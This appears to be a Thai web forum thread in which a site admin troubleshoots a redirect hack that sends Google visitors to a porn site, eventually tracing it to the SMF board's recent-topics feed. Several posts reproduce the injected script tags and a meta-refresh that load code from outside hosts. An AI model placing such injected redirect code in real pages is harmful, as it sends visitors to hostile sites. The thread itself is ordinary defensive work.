เว็บโดน redirect ไปที่อื่น มีวิธีแก้ยังไงครับ
พอดีดูแลเว็บ monstudies.com อยู่
เวลาพิมพ์ที่ google ว่า “มอญ” คลิกเข้าไป มันจะเข้าเว็บ monstudies.com แต่สักพัก จะพาไปหน้าอื่น (ไปหน้าเว็บโป๊)
แต่ถ้าพิมพ์ชื่อเว็บลงไปตรงๆ ที่ช่อง Address
โดนแทรก script เข้าไปหรือเปล่าครับ เข้าไปแก้ไขไฟล์ index แล้วก็ตรวจสอบว่าเครื่องตัวเองติดไวรัสหรือเปล่า โดยเฉพาะโปรแกรม ftp ที่ใช้
<script type="text/javascript" src="http://parc.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><script type="text/javascript" src="http://redirws.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><script type="text/javascript" src="http://s3rg.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><noscript><meta http-equiv="refresh" content="0;url=http://s3rg.ws/mt.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ==" /></noscript>
[quote author=jirawat link=topic=16290.msg152501#msg152501 date=1229563635]
โดนแทรก script เข้าไปหรือเปล่าครับ เข้าไปแก้ไขไฟล์ index แล้วก็ตรวจสอบว่าเครื่องตัวเองติดไวรัสหรือเปล่า โดยเฉพาะโปรแกรม ftp ที่ใช้
<script type="text/javascript" src="http://parc.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><script type="text/javascript" src="http://redirws.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><script type="text/javascript" src="http://s3rg.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ=="></script><noscript><meta http-equiv="refresh" content="0;url=http://s3rg.ws/mt.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9bW9uc3R1ZGllcy5jb20maWU9dXRmLTgmb2U9dXRmLTgmYXE9dCZybHM9b3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwmY2xpZW50PWZpcmVmb3gtYQ==" /></noscript>
[/quote] สคริปต์นี้อยู่ตรงไหนครับ ทำไมผมหาใน index.php ไม่เจอเลย
พอเข้าหน้า มอญ ผ่าน goolgle แล้วรีบกดหยุดการโหลดหน้าเพจ มา view source ดูจะเห็น script นี้ในตอนท้ายสุดของหน้า
ลอง ลอง ftp ขึ้นไปแล้ว view code บน server ดูครับ
เว็บลูกค้าผมก็เพิ่งจะเจอปัญหาเดียวกันนี้เลยครับ เข้าหน้าเว็บปุ๊ป redirect ไปที่อื่นเฉยเลย … ตรวจสอบ index.html แล้วพบว่าถูกแทรก javascript ไว้ แค่ลบออก ก็ใช้งานได้แล้วครับ
เท่าที่อ่านดูตามเว็บบอร์ด มีคนแจ้งว่าปัญหาเกิดจากใช้โปรแกรม Dream Weaver แบบ Crack แต่ผมก็ไม่แน่ใจว่าใช่สาเหตุที่แท้จริงหรือเปล่า
[quote author=ICOM link=topic=16290.msg152505#msg152505 date=1229564814]
พอเข้าหน้า มอญ ผ่าน goolgle แล้วรีบกดหยุดการโหลดหน้าเพจ มา view source ดูจะเห็น script นี้ในตอนท้ายสุดของหน้า
ลอง ลอง ftp ขึ้นไปแล้ว view code บน server ดูครับ
[/quote] ตอนนี้เห็นแล้วครับว่ามีสคริปต์แทรกจริงๆ แต่ยังไม่รู้ว่าแทรกที่ไฟล์ไหน แทรกยังไง เพราะลองหาดูแล้วไม่มี และแปลกใจว่าทำไมจึงเกิดเฉพาะกรณีเสิร์ชที่ google เท่านั้น แต่เวลาพิมพ์เข้าตรงๆ ไม่เป็นไร
ไฟล์ index.php ผม include มาหลายไฟล์ ลองเช็คดูทีละไฟล์แล้ว ยังไม่พบสคริปต์ครับ
ขอบคุณทุกๆ ท่านนะครับ ยังไม่ได้ขอบคุณเลยครับ
<script type=“text/javascript” src=“http://parc.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9JUUwJUI4JUExJUUwJUI4JUFEJUUwJUI4JThEJmllPXV0Zi04Jm9lPXV0Zi04JmFxPXQmcmxzPW9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsJmNsaWVudD1maXJlZm94LWE=”></script>
<script type=“text/javascript” src=“http://redirws.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9JUUwJUI4JUExJUUwJUI4JUFEJUUwJUI4JThEJmllPXV0Zi04Jm9lPXV0Zi04JmFxPXQmcmxzPW9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsJmNsaWVudD1maXJlZm94LWE=”></script>
<script type=“text/javascript” src=“http://s3rg.ws/js.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9JUUwJUI4JUExJUUwJUI4JUFEJUUwJUI4JThEJmllPXV0Zi04Jm9lPXV0Zi04JmFxPXQmcmxzPW9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsJmNsaWVudD1maXJlZm94LWE=”></script>
<noscript>
<meta http-equiv=“refresh” content=“0;url=http://redirws.ws/mt.php?fr=monstudies.com&r=aHR0cDovL3d3dy5nb29nbGUuY28udGgvc2VhcmNoP3E9JUUwJUI4JUExJUUwJUI4JUFEJUUwJUI4JThEJmllPXV0Zi04Jm9lPXV0Zi04JmFxPXQmcmxzPW9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsJmNsaWVudD1maXJlZm94LWE=” />
</noscript>
มันมี การ redirect หลายแบบเลยแหละครับ ทั้ง meta แล้วก็ script บ้างบนด้วย มี 4 อันนี้แหละครับ เวลา click เข้าไปจาก google จะเจอ script นี้โผล่มา ถ้าเข้าแบบธรรมดา จะไม่เจอ
ลองสร้างไฟล์ index เปล่าๆทดสอบดูครับ ว่าจะมี script แทรกมาอีกหรือเปล่า
[quote author=jirawat link=topic=16290.msg152515#msg152515 date=1229568907]
ลองสร้างไฟล์ index เปล่าๆทดสอบดูครับ ว่าจะมี script แทรกมาอีกหรือเปล่า
[/quote] ลองแล้วครับ ถ้าเป็นไฟล์เปล่าๆ จะไม่มีอะไรแทรกเข้ามาครับ
ผมว่าอาจจะโดนใส่ js script ไปในกระทู้บอร์ดน่ะครับสังเกตุว่าเข้า
http://www.monstudies.com/recent_topics_source.php ตรงๆไม่มี redirect
แต่พอเอาไปเข้า http://www.monstudies.com/recent_topics_source.php ไปเปิดจาก google มันจะมี redirect
น่าจะมาจากกระทู้หลังจาก 20 กระทู้ล่าสุดนี้น่ะครับ
[quote author=kpen link=topic=16290.msg152529#msg152529 date=1229573025]
ผมว่าอาจจะโดนใส่ js script ไปในกระทู้บอร์ดน่ะครับสังเกตุว่าเข้า
http://www.monstudies.com/recent_topics_source.php ตรงๆไม่มี redirect
แต่พอเอาไปเข้า http://www.monstudies.com/recent_topics_source.php ไปเปิดจาก google มันจะมี redirect
น่าจะมาจากกระทู้หลังจาก 20 กระทู้ล่าสุดนี้น่ะครับ
[/quote] มีสิทธิ์เป็นแบบนี้ครับ เพราะผมลองไล่ๆ โค๊ดดู มันแทรกเข้ามาช่วงๆ นี้แหละครับ
ขอไปทดลองก่อนนะครับ ได้ผลยังไงจะมาแจ้งให้ทราบ
ขอบคุณทุกท่านอีกครั้งครับ
ตอนนี้ แก้ปัญหาได้แล้วครับ เป็นที่ smf จริงๆ ผมแก้โดยตัดการแสดงผล"กระทู้ล่าสุด" จากเว็บบอร์ดออกจากหน้าแรกครับ
ยินดีด้วยครับ
wordpress ผมยีงเคยโดน เป็น script เรียก iframe หุหุ
FireFox ขึ้นหน้าแดงโล่เลย google ก็ไม่ให้เข้า เอา code search เจอใน code ซะงั้น :smash:
[quote author=obiconbig link=topic=16290.msg152744#msg152744 date=1229652543]
wordpress ผมยีงเคยโดน เป็น script เรียก iframe หุหุ
FireFox ขึ้นหน้าแดงโล่เลย google ก็ไม่ให้เข้า เอา code search เจอใน code ซะงั้น :smash:
[/quote] ใช่ครับ ผมก็มีปัญหาจาก iframe เหมือนกัน